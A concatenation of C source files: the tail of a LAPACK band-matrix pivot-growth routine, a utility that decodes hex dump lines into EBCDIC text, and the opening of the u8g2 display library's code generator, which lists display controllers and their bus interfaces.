real *ab, integer *ldab, real *afb, integer *ldafb)
{
/* System generated locals */
integer ab_dim1, ab_offset, afb_dim1, afb_offset, i__1, i__2, i__3, i__4;
real ret_val, r__1, r__2;
/* Local variables */
real amax, umax;
integer i__, j, kd;
real rpvgrw;
/* -- LAPACK computational routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Parameter adjustments */
ab_dim1 = *ldab;
ab_offset = 1 + ab_dim1 * 1;
ab -= ab_offset;
afb_dim1 = *ldafb;
afb_offset = 1 + afb_dim1 * 1;
afb -= afb_offset;
/* Function Body */
rpvgrw = 1.f;
kd = *ku + 1;
i__1 = *ncols;
for (j = 1; j <= i__1; ++j) {
amax = 0.f;
umax = 0.f;
/* Computing MAX */
i__2 = j - *ku;
/* Computing MIN */
i__4 = j + *kl;
i__3 = f2cmin(i__4,*n);
for (i__ = f2cmax(i__2,1); i__ <= i__3; ++i__) {
/* Computing MAX */
r__2 = (r__1 = ab[kd + i__ - j + j * ab_dim1], abs(r__1));
amax = f2cmax(r__2,amax);
}
/* Computing MAX */
i__3 = j - *ku;
i__2 = j;
for (i__ = f2cmax(i__3,1); i__ <= i__2; ++i__) {
/* Computing MAX */
r__2 = (r__1 = afb[kd + i__ - j + j * afb_dim1], abs(r__1));
umax = f2cmax(r__2,umax);
}
if (umax != 0.f) {
/* Computing MIN */
r__1 = amax / umax;
rpvgrw = f2cmin(r__1,rpvgrw);
}
}
ret_val = rpvgrw;
return ret_val;
} /* sla_gbrpvgrw__ */
|
the_stack_data/165766101.c | #include <stdio.h>
#include <string.h>
char ebcdic[] = "................" /* 0 */
"................" /* 1 */
"................" /* 2 */
"................" /* 3 */
" ...........<(+|" /* 4 */
"&.........!$*);." /* 5 */
"-/.........,%_>?" /* 6 */
"..........:#@'=\"" /* 7 */
".abcdefghi......" /* 8 */
".jklmnopqr......" /* 9 */
"..stuvwxyz......" /* a */
"................" /* b */
".ABCDEFGHI......" /* c */
".JKLMNOPQR......" /* d */
"..STUVWXYZ......" /* e */
"0123456789......" /* f */
;
/* 4a = cent sign */
/* 5f = logical not */
int hexa(char c) {
if (c < '0' ) return 0; /* x30:x39 */
if (c < '9'+1) return c - 48; /* 48 */
if (c < 'A' ) return 0; /* x41:x46 */
if (c < 'F'+1) return c - 55; /* 65 - 10 */
if (c < 'a' ) return 0; /* x61:x66 */
if (c < 'f'+1) return c - 87; /* 97 - 10 */
return 0;
}
int main(int argc, char** args) {
int i;
char buf[256], *p, *q;
while (fgets(buf,sizeof(buf),stdin)) {
if (buf[0] == 0x09) {
for (i = strlen(buf) - 1; i < 90; i++)
buf[i] = ' ';
p = buf + 10;
q = buf + 69;
for (;;) {
if (*p == ' ') p++;
if (*p == ' ') break;
i = (hexa(*p++) << 4) | hexa(*p++);
*q++ = ebcdic[i];
}
*q++ = '\n';
*q = 0;
}
fputs(buf,stdout);
fputs(buf,stderr);
}
return 0;
}
/*
0123456789abcdefABCDEF
0----+----1----+----2----+----3----+----4----+----5----+----6----+----7----+----8----+----9
0x0000: 4500 0030 382a 4000 4006 c76a 8060 8270 E..08*@[email protected].`.p ................
10 15 20 25 30 35 40 45 69
0x09
*/
|
the_stack_data/57949742.c | /*
generate and update c/c++ files
this also replaces the buildcpp tool
Dec 2018:
There are now two SSD13xx cad procedures:
u8x8_cad_ssd13xx_i2c Put a I2C start/stop around each command and each argument --> many start/stop commands
u8x8_cad_ssd13xx_fast_i2c Put a I2C start/stop around each command+arg sequence --> start/stop is probably halfed --> 4% faster
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <error.h>
#include <ctype.h>
#include <unistd.h>
/*===========================================*/
/* ll_hvline */
#define U8X8_HVLINE "u8g2_ll_hvline_vertical_top_lsb"
#define COM_4WSPI 0x0001
#define COM_3WSPI 0x0002
#define COM_6800 0x0004
#define COM_8080 0x0008
#define COM_I2C 0x0010
#define COM_ST7920SPI 0x0020 /* mostly identical to COM_4WSPI, but does not use DC */
#define COM_UART 0x0040
#define COM_KS0108 0x0080 /* mostly identical to 6800 mode, but has more chip select lines */
#define COM_SED1520 0x0100
struct interface
{
const char *interface_name; /* SW_SPI */
const char *setpin_function; /* u8x8_SetPin_4Wire_SW_SPI */
const char *arduino_com_procedure; /* u8x8_byte_4wire_sw_spi */
const char *arduino_gpio_procedure; /* u8x8_gpio_and_delay_arduino */
const char *pins_with_type; /* uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE */
const char *pins_plain; /* clock, data, cs, dc, reset */
const char *pins_md_plain; /* clock, data, cs, dc, reset */
const char *generic_com_procedure; /* u8x8_byte_4wire_sw_spi, this is used for documentation, so it suould be generic for all uC architectures */
};
struct display
{
/* this name must match the display part of the device procedure */
/* u8x8_d_<controller>_<display> */
const char *name;
};
struct controller
{
/* the name must match the controller part of the device procedure */
/* u8x8_d_<controller>_<display> */
const char *name;
int tile_width;
int tile_height;
const char *ll_hvline;
const char *cad;
const char *cad_shortname;
unsigned com;
char *note;
unsigned is_generate_u8g2_class; /* currently not used, instead conrolled by COM_UART */
struct display display_list[16]; /* usually not used completly, but space does not matter much here */
};
/* issue #649 */
/* display_controller_list_start */
struct controller controller_list[] =
{
{
"ssd1305", 16, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x32_noname" },
{ "128x32_adafruit" },
{ NULL }
}
},
{
"ssd1305", 16, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x32_noname" },
{ "128x32_adafruit" },
{ NULL }
}
},
{
"ssd1305", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x64_adafruit" },
{ NULL }
}
},
{
"ssd1305", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x64_adafruit" },
{ NULL }
}
},
{
"ssd1306", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x64_noname" },
{ "128x64_vcomh0" },
{ "128x64_alt0" },
{ NULL }
}
},
{
"ssd1306", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_fast_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x64_noname" },
{ "128x64_vcomh0" },
{ "128x64_alt0" },
{ NULL }
}
},
{
"ssd1306", 9, 5, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "72x40_er" },
{ NULL }
}
},
{
"ssd1306", 9, 5, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_fast_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "72x40_er" },
{ NULL }
}
},
{
"sh1106", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "128x64_noname" },
{ "128x64_vcomh0" },
{ "128x64_winstar" },
{ NULL }
}
},
{
"sh1106", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "128x64_noname" },
{ "128x64_vcomh0" },
{ "128x64_winstar" },
{ NULL }
}
},
{
"sh1106", 9, 5, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "72x40_wise" },
{ NULL }
}
},
{
"sh1106", 9, 5, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "72x40_wise" },
{ NULL }
}
},
{
"sh1106", 8, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "64x32" },
{ NULL }
}
},
{
"sh1106", 8, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "64x32" },
{ NULL }
}
},
{
"sh1107", 8, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "64x128" },
{ NULL }
}
},
{
"sh1107", 8, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_fast_i2c", "i2c", COM_I2C,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "64x128" },
{ NULL }
}
},
{
"sh1107", 12, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "seeed_96x96" },
{ NULL }
}
},
{
"sh1107", 12, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_fast_i2c", "i2c", COM_I2C,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "seeed_96x96" },
{ NULL }
}
},
{
"sh1107", 16, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x128" }, // not tested
{ "pimoroni_128x128" }, // not tested
{ "seeed_128x128" }, // in lab
{ NULL }
}
},
{
"sh1107", 16, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_fast_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x128" }, // not tested
{ "pimoroni_128x128" }, // not tested
{ "seeed_128x128" }, // in lab
{ NULL }
}
},
{
"sh1108", 20, 20, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "160x160" },
{ NULL }
}
},
{
"sh1108", 20, 20, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"Not tested", /* is_generate_u8g2_class= */ 1,
{
{ "160x160" },
{ NULL }
}
},
{
"sh1122", 32, 8, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "256x64" },
{ NULL }
}
},
{
"sh1122", 32, 8, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "256x64" },
{ NULL }
}
},
{
"ssd1306", 16, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x32_univision" },
{ "128x32_winstar" },
{ NULL }
}
},
{
"ssd1306", 16, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_fast_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x32_univision" },
{ "128x32_winstar" },
{ NULL }
}
},
{
"ssd1306", 8, 6, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "64x48_er" },
{ NULL }
}
},
{
"ssd1306", 8, 6, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_fast_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "64x48_er" },
{ NULL }
}
},
{
"ssd1306", 6, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "48x64_winstar" },
{ NULL }
}
},
{
"ssd1306", 6, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_fast_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "48x64_winstar" },
{ NULL }
}
},
{
"ssd1306", 8, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "64x32_noname" },
{ "64x32_1f" },
{ NULL }
}
},
{
"ssd1306", 8, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_fast_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "64x32_noname" },
{ "64x32_1f" },
{ NULL }
}
},
{
"ssd1306", 12, 2, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "96x16_er" },
{ NULL }
}
},
{
"ssd1306", 12, 2, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_fast_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "96x16_er" },
{ NULL }
}
},
{
"ssd1309", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x64_noname2" },
{ NULL }
}
},
{
"ssd1309", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x64_noname2" },
{ NULL }
}
},
{
"ssd1309", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x64_noname0" },
{ NULL }
}
},
{
"ssd1309", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x64_noname0" },
{ NULL }
}
},
/* https://github.com/olikraus/u8g2/issues/919 */
{
"ssd1316", 16, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x32" },
{ NULL }
}
},
{
"ssd1316", 16, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x32" },
{ NULL }
}
},
{
"ssd1317", 12, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "96x96" },
{ NULL }
}
},
{
"ssd1317", 12, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "96x96" },
{ NULL }
}
},
/* issue 784 */
{
"ssd1318", 16, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x96" },
{ "128x96_xcp" }, // with external charge pump
{ NULL }
}
},
{
"ssd1318", 16, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_fast_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x96" },
{ "128x96_xcp" }, // with external charge pump
{ NULL }
}
},
{
"ssd1325", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "nhd_128x64" },
{ NULL }
}
},
{
"ssd1325", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "nhd_128x64" },
{ NULL }
}
},
{
"ssd0323", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "os128064" },
{ NULL }
}
},
{
"ssd0323", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "os128064" },
{ NULL }
}
},
{
"ssd1326", 32, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "er_256x32" },
{ NULL }
}
},
{
"ssd1326", 32, 4, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "er_256x32" },
{ NULL }
}
},
{
"ssd1327", 12, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "ws_96x64" },
{ NULL }
}
},
{
"ssd1327", 12, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "ws_96x64" },
{ NULL }
}
},
{
"ssd1327", 12, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "seeed_96x96" },
{ NULL }
}
},
{
"ssd1327", 12, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "seeed_96x96" },
{ NULL }
}
},
{
"ssd1327", 16, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "ea_w128128" },
{ "midas_128x128" },
{ "ws_128x128" },
{ NULL }
}
},
{
"ssd1327", 16, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "ea_w128128" },
{ "midas_128x128" },
{ "ws_128x128" },
{ NULL }
}
},
{
"ssd1327", 16, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "visionox_128x96" },
{ NULL }
}
},
{
"ssd1327", 16, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_ssd13xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "visionox_128x96" },
{ NULL }
}
},
{
"ssd1329", 16, 12, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x96_noname" },
{ NULL }
}
},
{
"ld7032", 8, 4, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_011", "", COM_4WSPI,
"", /* is_generate_u8g2_class= */ 1,
{
{ "60x32" },
{ NULL }
}
},
{
"ld7032", 8, 4, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_ld7032_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "60x32" },
{ NULL }
}
},
{
"st7920", 24, 4, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_001", "p", COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "192x32" },
{ NULL }
}
},
{
"st7920", 24, 4, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_001", "", COM_6800,
"", /* is_generate_u8g2_class= */ 1,
{
{ "192x32" },
{ NULL }
}
},
{
"st7920", 24, 4, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_st7920_spi", "s", COM_ST7920SPI,
"", /* is_generate_u8g2_class= */ 1,
{
{ "192x32" },
{ NULL }
}
},
{
"st7920", 16, 8, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_001", "p", COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x64" },
{ NULL }
}
},
{
"st7920", 16, 8, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_001", "", COM_6800,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x64" },
{ NULL }
}
},
{
"st7920", 16, 8, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_st7920_spi", "s", COM_ST7920SPI,
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x64" },
{ NULL }
}
},
{
"ls013b7dh03", 16, 16, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_001", "", COM_4WSPI, /* cad procedure is not required (no DC for this display) so it could be a dummy procedure here */
"", /* is_generate_u8g2_class= */ 1,
{
{ "128x128" },
{ NULL }
}
},
{
"ls027b7dh01", 50, 30, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_001", "", COM_4WSPI, /* cad procedure is not required (no DC for this display) so it could be a dummy procedure here */
"", /* is_generate_u8g2_class= */ 1,
{
{ "400x240" },
{ NULL }
}
},
{
"ls013b7dh05", 18, 21, "u8g2_ll_hvline_horizontal_right_lsb", "u8x8_cad_001", "", COM_4WSPI, /* cad procedure is not required (no DC for this display) so it could be a dummy procedure here */
"", /* is_generate_u8g2_class= */ 1,
{
{ "144x168" },
{ NULL }
}
},
{
"uc1701", 13, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "ea_dogs102" },
{ NULL }
}
},
{
"uc1701", 16, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "mini12864" },
{ NULL }
}
},
{
"pcd8544", 11, 6, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI,
"No HW flip", /* is_generate_u8g2_class= */ 1,
{
{ "84x48" },
{ NULL }
}
},
{
"pcf8812", 12, 9, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI,
"No HW flip", /* is_generate_u8g2_class= */ 1,
{
{ "96x65" },
{ NULL }
}
},
{
"hx1230", 12, 9, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI,
"No HW flip", /* is_generate_u8g2_class= */ 1,
{
{ "96x68" },
{ NULL }
}
},
{
"uc1604", 24, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx19264" },
{ NULL }
}
},
{
"uc1604", 24, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_uc16xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "jlx19264" },
{ NULL }
}
},
{
"uc1608", 30, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "erc24064" },
{ NULL }
}
},
{
"uc1608", 30, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_uc16xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "erc24064" },
{ NULL }
}
},
{
"uc1608", 30, 15, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "erc240120" },
{ NULL }
}
},
{
"uc1608", 30, 15, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_uc16xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "erc240120" },
{ NULL }
}
},
{
"uc1608", 30, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "240x128" },
{ NULL }
}
},
{
"uc1608", 30, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_uc16xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "240x128" },
{ NULL }
}
},
{
"uc1638", 20, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "160x128" },
{ NULL }
}
},
//{
/* this device requires cd=1 for arguments, not clear whether the u8x8_cad_uc16xx_i2c works */
//"uc1638", 20, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_uc16xx_i2c", "i2c", COM_I2C,
//"", /* is_generate_u8g2_class= */ 1,
//{
// { "160x128" },
// { NULL }
//}
//},
{
"uc1610", 20, 13, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"3W SPI not tested", /* is_generate_u8g2_class= */ 1,
{
{ "ea_dogxl160" },
{ NULL }
}
},
{
"uc1610", 20, 13, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_uc16xx_i2c", "i2c", COM_I2C,
"3W SPI not tested, I2C not tested", /* is_generate_u8g2_class= */ 1,
{
{ "ea_dogxl160" },
{ NULL }
}
},
{
"uc1611", 30, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "ea_dogm240" },
{ NULL }
}
},
{
"uc1611", 30, 8, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_uc16xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "ea_dogm240" },
{ NULL }
}
},
{
"uc1611", 30, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "ea_dogxl240" },
{ NULL }
}
},
{
"uc1611", 30, 16, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_uc16xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "ea_dogxl240" },
{ NULL }
}
},
{
"uc1611", 30, 20, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"240x160, active high chip select", /* is_generate_u8g2_class= */ 1,
{
{ "ew50850" }, /* 240x160 */
{ NULL }
}
},
{
"uc1611", 30, 20, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_uc16xx_i2c", "i2c", COM_I2C,
"240x160, active high chip select", /* is_generate_u8g2_class= */ 1,
{
{ "ew50850" }, /* 240x160 */
{ NULL }
}
},
{
"uc1611", 20, 20, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_001", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"use CS0 as chips select", /* is_generate_u8g2_class= */ 1,
{
{ "cg160160" },
{ NULL }
}
},
{
"uc1611", 20, 20, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_uc16xx_i2c", "i2c", COM_I2C,
"", /* is_generate_u8g2_class= */ 1,
{
{ "cg160160" },
{ NULL }
}
},
{
"st7511", 40, 30, "u8g2_ll_hvline_vertical_top_lsb", "u8x8_cad_011", "", COM_4WSPI|COM_3WSPI|COM_6800|COM_8080,
"", /* is_generate_u8g2_class= */ 1,
{
{ "avd_320x240" }, /* 320x240 */
{ NULL }
